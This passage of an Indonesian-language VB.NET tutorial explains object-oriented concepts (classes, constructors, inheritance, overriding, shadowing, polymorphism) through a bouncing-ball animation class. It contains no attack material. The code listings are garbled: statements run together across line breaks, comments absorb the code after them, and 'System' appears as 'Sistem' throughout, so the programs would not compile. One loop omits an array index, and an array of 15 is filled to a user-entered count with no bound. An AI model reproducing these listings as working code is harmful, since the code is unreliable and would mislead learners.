saat runtime, jadi pada saat design, class merupakan cetak biru bagi objek-objek yang akan dibuat
pada saat runtime.

Anda dapat mengasosiasikan class dengan gambar denah dari rancangan rumah, dan selanjutnya
berdasarkan denah ini akan dibangun rumah-rumah (objek) sebenarnya.

Data Abstraction dan Encapsulation

Abstraction mengacu pada usaha untuk menampilkan hal-hal yang penting tanpa
mengikutsertakan detail latarbelakang ataupun penjelasan. Class-class menggunakan konsep dari
abstraksi dan mendefinsikannya sebagai suatu daftar dari atribut-atribut abstrak.

INDOPROG 3
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Catatan :

Sebagaimana contoh sebelumnya bahwa TV merupakan gambaran dari Abstraksi, dimana yang
perlu ditonjolkan pada pemakai adalah hal-hal penting bagaimana menghidupkan dan mematikan
serta berbagai setting dasar, sedangkan permasalahan teknis yang berada didalam kotak TV
seperti rangkaian elektronik disembunyikan dari pemakai. Jadi dalam hal ini TV dianggap suatu
black box.

Menyimpan data dan fungsi-fungsi ke dalam suatu unit tunggal (class) adalah encapsulation.
Data tidak dapat diakses oleh dunia luar dan hanya fungsi-fungsi yang mana berada dalam class
tersebut dapat mengaksesnya.

Inheritance

Inheritance adalah proses yang mana objek-objek dapat mengusahakan member dari objek class lain.
Pada OOP inheritance menyediakan pemakaian kembali, seperti, menambah kemampuan baru pada
class yang telah ada dengan tanpa melakukan modifikasi langsung terhadap class tersebut. Hal ini
dilakukan dengan menurunkan suatu class baru dari yang class telah ada. Class baru tersebut memiliki
kombinasi dari keduanya.

Catatan :

Pendekatan inheritance dapat dipahami sebagai pengembangan produk, dimana engineer tidak
perlu merancang produk dari awal, tetapi dengan melakukan modifikasi terhadap produk yang
telah ada untuk menghasilkan suatu produk baru.

Polymorphism

Polymorphism adalah kemampuan untuk memiliki lebih dari satu bentuk. Suatu operasi dapat
menunjukan prilaku yang berbeda pada instance yang berbeda. Prilaku tersebut tergantung
kepada tipe data yang digunakan dalam operasi. Polymorphism secara ekstensif digunakan dalam
implementasi Inheritance.

Dengan polymorphism kita dapat membuat beberapa fungsi dengan nama yang sama tetapi
memiliki daftar argument yang berbeda baik dari segi jumlah maupun tipe datanya
(Overloading), sehingga dalam implementasinya fungsi akan dioperasikan berdasarkan argumen
yang diberikan, sehingga program dapat bereaksi secara tepat sesuai dengan jenis tipe data dan jumlah
argument.

Kemudian polymorphism juga memiliki fungsi dimana pemanfaatan variable dengan tipe base
class untuk menampung instance dari class turunannya dan menjalankan metoda class
turunannya.

Keunggulan dari OOP

INDOPROG 4
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

OOP memiliki keunggulan berikut diatas pendekatan konvensional:

• OOP menyediakan struktur modular yang jelas untuk program, yang mana cocok untuk
mendefinisikan tipe data abstrak yang merupakan detail dari implementasi
disembunyikan serta unit memiliki interface yang telah didefinisikan dengan jelas.
• OOP memudahkan maintenance dan modifikasi terhadap kode yang telah sebagai objek
baru yang dapat dibuat dengan perubahan yang minimal
• OOP menyediakan suatu kerangka kerja yang baik untuk kode library yang mana
menyediakan komponen software yang secara mudah dapat disesuaikan dan dimodifikasi
oleh programmer. Hal ini khususnya sangat berguna untuk pengembangan user interface
secara grafik.

Catatan :

Setelah anda membaca uraian tersebut diatas, awalnya anda akan merasa kesulitan untuk
memahami dan menerapkan beberapa konsep-konsep diatas pada program anda, dan hal tersebut
adalah wajar.

Untuk mentransformasi gaya pemrograman anda dari pendekatan procedural terstruktur menjadi
OOP membutuhkan waktu dan usaha. Sebab pada pendekatan procedural terstruktur focus
programmer langsung kepada logika dan koding untuk pencapaian hasil, sedangkan pada OOP
kita harus melakukan abstraksi terhadap data dan fungsi yang berkaitan menjadi class, dan
selanjutnya class-class tersebut berinteraksi dengan message untuk mencapai tujuan akhir.

Untuk membantu pengertian dan menunjukan keunggulan konsep OOP, penulis akan
memberikan beberapa contoh keunggulan pemanfaatan OOP pada bagian-bagian selanjutnya.

INDOPROG 5
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

OOP pada Visual Basic

Membuat Class
Pemrograman OOP pada Visual Basic dapat dilakukan dengan merancang class dari objek
dengan menggunakan struktur class sebagai berikut :

Class nama
'member [variable, property, method and event declarations] End
Class

Contoh :
Misalnya kita ingin membuat program animasi bola pantul yang memanfaatkan GDI+ dengan
pendekatan berorientasi objek, maka sebagai langkah awal adalah merancang Class untuk bola
pantul.

Pada tahap rancangan, kita harus dapat mendefinisikan aksi apa saja yang harus dapat dilakukan
oleh objek bola pantul yaitu bergerak (move) yang tentu saja memiliki koordinat awal (x,y) yang
bergerak kearah tertentu (dx, dy). Dalam pergerakan dilayar, tentu saja dibatasi oleh area tertentu
(sx,sy).

Kemudian sebagai wujud dari animasi gerakan bola dilayar, kita perlu menyediakan aksi draw dan
clear.

Adapun rancangan class tersebut diatas dalam bentuk terprogram adalah sebagai berikut :

Class Pantul
Protected x As Single 'posisi x dilayar
Protected y As Single 'posisi y dilayar
Private sx As Single 'jumlah kolom x
Private sy As Single 'jumlah baris y
Private dx As Single 'arah bola terhadap x
Private dy As Single 'arah bola terhadap y

Public Sub New(f as form) 'constructor


sx = f.width \ 30 'lebar form dibagi 30
sy = f.height \ 30 'tinggi form dibagi 30
x = rnd*(sx-2) + 2 'posisi awal random
y = rnd*(sy-2) + 2
dx = 1 'arah diagonal ke bawah
dy = 1
Draw(f)
End Sub

Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)

INDOPROG 6
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

End Sub

Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30)
End Sub

Public Sub Move(f as form) 'metoda


'hapus gambar bola sebelumnya
Clear(f)
'gerakan bola dengan mengubah x, y sesuai dengan arah
x = x + dx
y = y + dy
'jika mengenai daerah bingkai
If x < 2 or x > (sx-2) Then dx = -dx If y <
2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi
baru
Draw(f)
End Sub
End Class

Catatan :
Jika anda perhatikan perhatikan rancangan class diatas, maka konsep dari data abstraction
akan nampak, dimana sebagai interface keluar hanya terdiri metoda New, Draw, Clear, dan
Move, sedangkan pengkodean tersembunyi dari program yang akan memanfaatkan Objek dari
Class Pantul

Kemudian konsep dari data encapsulation, dimana variable x,y,sx,sy,dx, dan dy disatukan
beserta fungsi New, Draw, Clear, dan Move didalam satu Class Pantul.

Ruang Lingkup member pada suatu class

Pada saat pendeklarasian member pada class anda dapat menggunakan keyword seperti Friend,
Private, Protected, Protected Friend, dan Public, dimana masing-masing memiliki kendali akses
yang berbeda.

Friend, member hanya tersedia bagi kode pada lingkup project yang sama.
Private, member hanya tersedia bagi class itu sendiri
Protected, member tersedia bagi class dan class turunannya.
Protected Friend, member tersedua bagi kode pada lingkup project yang sama, dan class
turunannya.
Public, member tersedia bagi semua kode program.

Jika anda tidak menentukan jenis kendali akses bagai suatu member, maka defaultnya adalah
Public.

INDOPROG 7
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Constructors

Suatu constructor adalah anggota function yang mana memiliki tugas untuk menginisialisasi
objek dari classnya. Suatu constructor akan dijalankan ketika objek dari class tersebut diciptakan. Kita
dapat mengirim data kepada konstruktor dengan mencantumkannya didalam kurung. Pada Visual
Basic suatu konstruktor harus dibuat dengan suatu Sub procedure dengan nama New pada class.
Koding berikut mendemonstrasikan pemakaian dari konstruktor di Visual Basic.

Public Sub New(f as form) 'constructor


sx = f.width \ 30 'lebar form dibagi 30
sy = f.height \ 30 'tinggi form dibagi 30
x = rnd*(sx-2) + 2 'posisi awal random
y = rnd*(sy-2) + 2
dx = 1 'arah diagonal ke bawah
dy = 1
Draw(f)
End Sub

Pada contoh diatas, konstruktor digunakan untuk menginisialisasi nilai awal untuk variable pada
Objek seperti sx, sy, x, y, dx, dan dy.

Untuk konstruktor diatas, pada saat kita membuat instance dari Class dengan

Dim Bola As Pantul


Bola = New Pantul(Me)

Dimana Me mengacu pada form yang sedang aktif.

Destructors

Destructors akan dijalankan ketika suatu objek dimusnahkan. Didalam suatu destructor kita dapat
menempatkan koding untuk membersihkan objek setelah digunakan. Kita menggunakan metode
Finalize di Visual Basic untuk membuat destructor yang otomatis akan dijalankan ketika
runtime .NET menemukan bahwa objek tidak dibutuhkan lagi.

Contoh implementasi pemakaian destructor adalah misalnya pada konstruktor kita membuka data
maupun file, sehingga pada saat destructor kita perlu menutup data maupun file yang terbuka.

Catatan:

Setiap objek didunia nyata memiliki fase awal yaitu kelahiran, dan fase akhir yaitu
kematian. Pada saat suatu objek dilahirkan tentu saja telah memiliki nilai property
bawaan, seperti seorang bayi yang baru dilahirkan telah memiliki jenis kelamin, berat
badan, dan tinggi.

Demikian juga objek dalam konsep OOP, yang kadang-kadang membutuhkan pemberian
nilai awal kepada beberapa property begitu instance dari class dibuat. Tindakan
pemberian nilai awal (inisialisasi) ini dapat dilakukan dengan menggunakan metoda

INDOPROG 8
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

khusus yang dikenal sebagai Constructor.

Contoh Keunggulan OOP (Bagian 1)

Jika sekilas kita melihat uraian yang telah disebutkan diatas seakan-akan segala sesuatu yang
dilakukan dengan pendekatan OOP dapat juga dilakukan dengan teknik pemrograman biasanya.
Tetapi misalnya anda bayangkan kita ingin membuat program bola pantul yang terdiri dari 15 buah
bola pantul dilayar yang masing-masing bergerak tanpa pendekatan OOP.

Berikut ini saya akan membuat contoh dengan pendekatan OOP, dan anda bandingkan sendiri.

Pertama kita akan membuat variable array untuk bola pantul sebagai array 15 elemen :

Dim Bola(14) As Pantul

Kemudian kita buat instance dari Class Pantul

For I As Integer = 0 To 14
Bola(I) = New Pantul(Me)
Next I

Selanjutnya kita gerakan masing-masing objek dengan looping :

For I As Integer = 0 To 14
Bola.Move(Me)
Next I

Dari hal ini jelaslah bahwa dengan pendekatan OOP kita tidak melakukan perubahan terhadap
rancangan Class Pantul sama sekali, melainkan kita membuat 15 instance dari Class Pantul.

Listing lengkap dari program 15 ola pantul dengan pendekatan OOP.

Option Explicit On
Imports Sistem
Imports Sistem.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyForm : Inherits Form

Dim WithEvents MyTimer as New Timer Dim


Bola(14) As Pantul

<Sistem.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyForm)
End Sub

Public Sub New() 'Constructor

Me.BackColor = Sistem.Drawing.Color.Black
Me.FormBorderStyle = FormBorderStyle.None

INDOPROG 9
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Me.Width = Screen.PrimaryScreen.Bounds.Width
Me.Height = Screen.PrimaryScreen.Bounds.Height For
I As Integer = 0 to 14
Bola(I) = New Pantul(Me) Next
I
MyTimer.Interval = 150 '150 millidetik
MyTimer.Enabled = True
End Sub

'Mengerakan objek dengan event tick pada objek MyTimer


Private Sub MyTimer_Tick(sender as object, e as eventargs) _
handles MyTimer.Tick
For I As Integer = 0 to 14
Bola(I).Move(Me)
Next I
End Sub

End Class

Class Pantul
Protected x As Single 'posisi x dilayar
Protected y As Single 'posisi y dilayar
Private sx As Single 'jumlah kolom x
Private sy As Single 'jumlah baris y
Private dx As Single 'arah bola terhadap x
Private dy As Single 'arah bola terhadap y

Public Sub New(f as form) 'constructor


sx = f.width \ 30 'lebar form dibagi 30
sy = f.height \ 30 'tinggi form dibagi 30
x = rnd*(sx-2) + 2 'posisi awal random
y = rnd*(sy-2) + 2
dx = 1 'arah diagonal ke bawah
dy = 1
Draw(f)
End Sub

Overridable Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)
End Sub

Overridable Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30)
End Sub

Public Sub Move(f as form) 'metoda


'hapus gambar bola sebelumnya
Clear(f)
'gerakan bola dengan mengubah x, y sesuai dengan arah
x = x + dx
y = y + dy

INDOPROG 10
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

'jika mengenai daerah bingkai


If x < 2 or x > (sx-2) Then dx = -dx If y <
2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi
baru
Draw(f)
End Sub

End Class

INDOPROG 11
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Inheritance
Pemanfaatan Kembali

Kunci dari kemampuan OOP adalah pemakaian kembali. Yang secara nyata akan menghemat
waktu jika kita dapat memanfaatkan kembali pada yang pernah kita buat. Pemakaian kembali
akan menurunkan pekerjaan untuk testing dan debugging terhadap bagian yang digunakan
kembali, karena telah dilakukan sebelumnya. Proses inheritance dilakukan dengan menurunkan
suatu class baru dari class yang telah ada. Class yang lama disebut sebagai base class dan class
yang baru disebut derived class. Class turunan akan mewarikan semua atau sebagian dari segala
sesuatu yang terdapat pada base class. Pada Visual Basic kita menggunakan keyword Inherits
untuk menurunkan suatu class:

Misalnya kita telah memiliki Class Pantul

Class Pantul
member
End Class

Selanjutnya misalnya kita ingin mengembangkan Class baru dengan menurunkannya dari Class
Pantu

Class Pantul1 : Inherits Pantul


member
End Class

Maka Class Pantul1 akan mewarisi semua member Pantul yang dideklarasikan sebagai Protected
maupun Public.

Overriding

Pada derived class kadang-kadang kita perlu mendefinisikan ulang fungsi maupun sub yang ada pada
base class, dalam hal inilah istilash Overriding muncul, dimana kita dapat mendefinisikan ulang
fungsi maupun sub pada derived class.

Misalnya pada Class Pantul1 gambar yang ingin kita hasilkan adalah persegi, maka kita perlu
melakukan Overiding terhadap Sub Draw dan Clear yang ada pada base class.

Catatan : Sub maupun Function pada base class harus dideklarasikan sebagai Overridable baru
dapat di Overrides pada derived class.

Pada Class pantul kita perlu mencantumkan keyword Overridable

Overridable Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)

INDOPROG 12
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

End Sub

Overridable Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30)
End Sub

Selanjutnya pada class turunannya kita dapat melakukan Overriding terhadap metoda yang
dimaksud :

Class Pantul1 : Inherits Pantul

Public Sub New(f as form) 'constructor


MyBase.New(f)
End Sub

Overrides Public Sub Draw(f as form) 'metoda


'gambar persegi ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30)
End Sub

Overrides Public Sub Clear(f as form) 'metoda


'gambar persegi ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawRectangle(MyPen, x*30,y*30,30,30)
End Sub

End Class

Shadowing

Jika pada Overriding kita membutuhkan permisi dari base class untuk melakukan overriding
dengan keyword Overridable, selain itu kita juga dapat melakukan Shadowing terhadap metoda
pada base class yang tidak memberikan permisi Overridable.

Contoh :

Pada base class :

Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)
End Sub

Pada class turunannya :

INDOPROG 13
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Public Shadows Sub Draw(f as form) 'metoda


'gambar persegi ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30)
End Sub

Catatan :

Pemakaian cara Shadowing menyebabkan konsep polymorphism tidak dapat berfungsi


sebagaimana pada cara Overriding.

OOP pada Pemrograman Form

Untuk pemrograman program Windows yang berbasis form, .NET telah menyediakan class
Form yang terdefinisi pada namespace Sistem.Windows.Forms, kemudian didalam
pemakaiannya kita dapat melakukan inheritance dari class form ke program kita dengan menbuat class
baru :

Public Class MyForm : Inherits Form

Selanjutnya kita dapat membuat konstruktor (sub New) untuk menginisialisasi keadaan awal dari
form kita (misalnya mengatur warna, ukuran, menambah control timer dll)

Public Sub New() 'Constructor

Me.BackColor = Sistem.Drawing.Color.Black
Me.FormBorderStyle = FormBorderStyle.None
Me.Width = Screen.PrimaryScreen.Bounds.Width
Me.Height = Screen.PrimaryScreen.Bounds.Height For
I As Integer = 0 to 14
Bola(I) = New Pantul(Me) Next
I
MyTimer.Interval = 150 '150 millidetik
MyTimer.Enabled = True
End Sub

Pada class MyForm kita dapat juga melakukan overriding terhadap metoda yang telah terdefinisi pada
class Form, misalnya untuk metoda paint.

Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)


Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyBase.OnPaint(e)
e.Graphics.DrawLine(MyPen,10,10,200,100)
End Sub

Contoh Keunggulan OOP (Bagian 2)

Misalnya kita akan membuat program yang terdiri dari 2 objek pantul yang satu berbentuk bola dan
satu berbentuk persegi.

INDOPROG 14
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Pada pendekatan OOP, misalnya kita telah memiliki class Pantul yang menampilkan bentuk
lingkaran, selanjutnya adalah membuat class Pantul1 yang akan menampilkan bentuk persegi, tetapi
kita tidak perlu merancang class Pantul1 dari awal melainkan cukup menurunkannya dari class
Pantul dengan melakukan override terhadap metoda draw dan clear.

Jadi dalam hal ini kita tidak perlu merancang class dari awal, tetapi cukup memperbaharui
maupun mengembangkan class yang telah ada, sehingga waktu pemrograman dapat dipersingkat dan
proses debug dapat dikurangi.

Listing program menampilkan bola dan persegi pantul dilayar :

Option Explicit On
Imports Sistem
Imports Sistem.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyForm : Inherits Form

Dim WithEvents MyTimer as New Timer Dim Bola


As Pantul
Dim Persegi As Pantul1

<Sistem.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyForm)
End Sub

Public Sub New() 'Constructor

Me.BackColor = Sistem.Drawing.Color.Black
Me.FormBorderStyle = FormBorderStyle.None
Me.Width = Screen.PrimaryScreen.Bounds.Width
Me.Height = Screen.PrimaryScreen.Bounds.Height Bola
= New Pantul(Me)
Persegi = New Pantul1(Me)
MyTimer.Interval = 150
MyTimer.Enabled = True
End Sub

Private Sub MyTimer_Tock(sender as object, e as eventargs) _


handles MyTimer.Tick
Bola.Move(Me)
Persegi.Move(Me)
End Sub

End Class

Class Pantul
Protected x As Single 'posisi x dilayar
Protected y As Single 'posisi y dilayar
Private sx As Single 'jumlah kolom x
Private sy As Single 'jumlah baris y

INDOPROG 15
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Private dx As Single 'arah bola terhadap x


Private dy As Single 'arah bola terhadap y

Public Sub New(f as form) 'constructor


sx = f.width \ 30 'lebar form dibagi 30
sy = f.height \ 30 'tinggi form dibagi 30
x = rnd*(sx-2) + 2 'posisi awal random
y = rnd*(sy-2) + 2
dx = 1 'arah diagonal ke bawah
dy = 1
Draw(f)
End Sub

Overridable Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)
End Sub

Overridable Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30)
End Sub

Public Sub Move(f as form) 'metoda


'hapus gambar bola sebelumnya
Clear(f)
'gerakan bola dengan mengubah x, y sesuai dengan arah
x = x + dx
y = y + dy
'jika mengenai daerah bingkai
If x < 2 or x > (sx-2) Then dx = -dx If y <
2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi
baru
Draw(f)
End Sub
End Class

Class Pantul1 : Inherits Pantul

Public Sub New(f as form) 'constructor


MyBase.New(f) 'menjalankan constructor base class
End Sub

Overrides Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30)
End Sub

Overrides Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics

INDOPROG 16
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3)


MyGraphic.DrawRectangle(MyPen, x*30,y*30,30,30)
End Sub

End Class

INDOPROG 17
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Polymorphism
Polymorphism merupakan salah satu fasilitas yang krusial pada OOP, yang memiliki arti "satu
nama, banyak bentuk". Hal ini disebut juga sebagai Overloading yang berarti menggunakan hal
yang sama untuk tujuan yang berbeda. Dengan menggunakan Polymorphism kita dapat membuat
banyak fungsi dengan nama yang sama tetapi memiliki daftar argument yang berbeda. Fungsi
tersebut dijalankan berdasarkan daftar argument yang digunakan untuk menjalankan fungsi.

Misalnya kita memperbaharui class Pantul dimana pada konstruktor kita dapat menentukan
warna dari lingkaran.

Class Pantul
Protected x As Single 'posisi x dilayar
Protected y As Single 'posisi y dilayar
Private sx As Single 'jumlah kolom x
Private sy As Single 'jumlah baris y
Private dx As Single 'arah bola terhadap x
Private dy As Single 'arah bola terhadap y
Private clr As Sistem.Drawing.Color

Public Sub New(f as form) 'constructor


me.New(f,Sistem.Drawing.Color.Red) End
Sub

Public Sub New(f as form, w as sistem.drawing.color)


'constructor
sx = f.width \ 30 'lebar form dibagi 30
sy = f.height \ 30 'tinggi form dibagi 30
x = rnd*(sx-2) + 2 'posisi awal random
y = rnd*(sy-2) + 2
dx = 1 'arah diagonal ke bawah
dy = 1
clr = w
Draw(f)
End Sub

Overridable Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim
MyPen As New Sistem.Drawing.Pen(Clr,3)
MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)
End Sub

Overridable Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30)
End Sub

Public Sub Move(f as form) 'metoda


'hapus gambar bola sebelumnya
Clear(f)
'gerakan bola dengan mengubah x, y sesuai dengan arah

INDOPROG 18
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

x = x + dx
y = y + dy
'jika mengenai daerah bingkai
If x < 2 or x > (sx-2) Then dx = -dx If y <
2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi
baru
Draw(f)
End Sub
End Class

Dalam hal ini class pantul memiliki dua konstruktor yang masing-masing memiliki daftar
argument yang berbeda yaitu :

Public Sub New(f as form) 'constructor

Dan

Public Sub New(f as form, w as sistem.drawing.color)

Sehingga ketika kita membuat instance dari Class Pantul dapat dilakukan dengan :

Bola = New Pantul(Me)

Ataupun :
Bola = New Pantul(Me, Sistem.Drawing.Color.Blue)

Polymorphism juga dapat berupa pemanfaatan variable yang bertype base class untuk
mengimplementasikan metoda pada class-class turunannya.

Misalnya kita mendeklarasikan variable array bola yang terdiri dari dua elemen

Dim Bola(1) As Pantul

Bola(0) = New Pantul(Me)


Bola(1) = New Pantul1(Me)

Dimana variable Bola(n) sebenarnya merupakan variable type Pantul, tetapi dalam
pemakaiannya kita gunakan untuk instance Pantul1, selanjutnya :

Bola(0).Move(Me)
Bola(1).Move(Me)

Akan menjalankan metoda Move dari Class yang bersesuaian dengan instance objek yang dibuat.

Contoh Keunggulan OOP (Bagian 3)

Misalnya kita ingin membuat program animasi bola pantul di layar yang memberi kebebasan
kepada pemakai untuk menentukan jumlah objek masing-masing bentuk dilayar :

INDOPROG 19
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Dim JlhBola As Integer = Val(Inputbox("Jumlah Bola"))

Dim JlhPersegi As Integer = Val(Inputbox("Jumlah Persegi"))

Selanjutnya kita membuat instance dari masing-masing class sesuai dengan jumlah yang
ditentukan :

Dim Bola(14) As Pantul

Dim Jlh As Integer

Dim I As Integer = 0
Do While I < JlhBola
Bola(I) = new Pantul(Me)
I+=1
Loop

Do While I < JlhBola+JlhPersegi


Bola(I) = new Pantul1(Me)
I+=1
Loop

Jlh = JlhBola+JlhPersegi

Dalam hal ini kita mendeklarasikan variable array Bola yang bertipe Pantul, padahal dalam
pemakaiannya kita gunakan juga untuk menampung instance untuk class Pantul1.

Kemudian untuk mengerakan objek kita gunakan looping :

For I As Integer = 0 To Jlh-1


Bola(I).Move(Me)

INDOPROG 20
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Next I

Selanjutnya metoda move yang dijalankan sangat tergantung pada jenis instance dari variable
objek.

Dapatkah anda bayangkan bagaimana kalau tanpa menggunakan Polymorphism ?

Listing program menampilkan bola dan persegi pantul dilayar sesuai dengan jumlah yang
diinginkan pemakai :

Option Explicit On
Imports Sistem
Imports Sistem.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyForm : Inherits Form

Dim WithEvents MyTimer as New Timer Dim


Bola(14) As Pantul
Dim Jlh As Integer

<Sistem.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyForm)
End Sub

Public Sub New() 'Constructor

Me.BackColor = Sistem.Drawing.Color.Black
Me.FormBorderStyle = FormBorderStyle.None
Me.Width = Screen.PrimaryScreen.Bounds.Width
Me.Height = Screen.PrimaryScreen.Bounds.Height
Dim JlhBola As Integer = Val(Inputbox("Jumlah Bola"))
Dim JlhPersegi As Integer = Val(Inputbox("Jumlah Persegi"))

Dim I As Integer = 0
Do While I < JlhBola
Bola(I) = new Pantul(Me)
I+=1
Loop

Do While I < JlhBola+JlhPersegi


Bola(I) = new Pantul1(Me)
I+=1
Loop

Jlh = JlhBola+JlhPersegi

MyTimer.Interval = 150
MyTimer.Enabled = True
End Sub

Private Sub MyTimer_Tock(sender as object, e as eventargs) _


handles MyTimer.Tick
For I As Integer = 0 To Jlh-1

INDOPROG 21
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Bola(I).Move(Me)
Next I
End Sub

End Class

Class Pantul
Protected x As Single 'posisi x dilayar
Protected y As Single 'posisi y dilayar
Private sx As Single 'jumlah kolom x
Private sy As Single 'jumlah baris y
Private dx As Single 'arah bola terhadap x
Private dy As Single 'arah bola terhadap y
Private clr As Sistem.Drawing.Color

Public Sub New(f as form) 'constructor


me.New(f,Sistem.Drawing.Color.Red)
End Sub

Public Sub New(f as form, w as sistem.drawing.color)


'constructor
sx = f.width \ 30 'lebar form dibagi 30
sy = f.height \ 30 'tinggi form dibagi 30
x = rnd*(sx-2) + 2 'posisi awal random
y = rnd*(sy-2) + 2
dx = 1 'arah diagonal ke bawah
dy = 1
clr = w
Draw(f)
End Sub

Overridable Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim
MyPen As New Sistem.Drawing.Pen(Clr,3)
MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)
End Sub

Overridable Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30)
End Sub

Public Sub Move(f as form) 'metoda


'hapus gambar bola sebelumnya
Clear(f)
'gerakan bola dengan mengubah x, y sesuai dengan arah
x = x + dx
y = y + dy
'jika mengenai daerah bingkai
If x < 2 or x > (sx-2) Then dx = -dx If y <
2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi
baru
Draw(f)

INDOPROG 22
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

End Sub
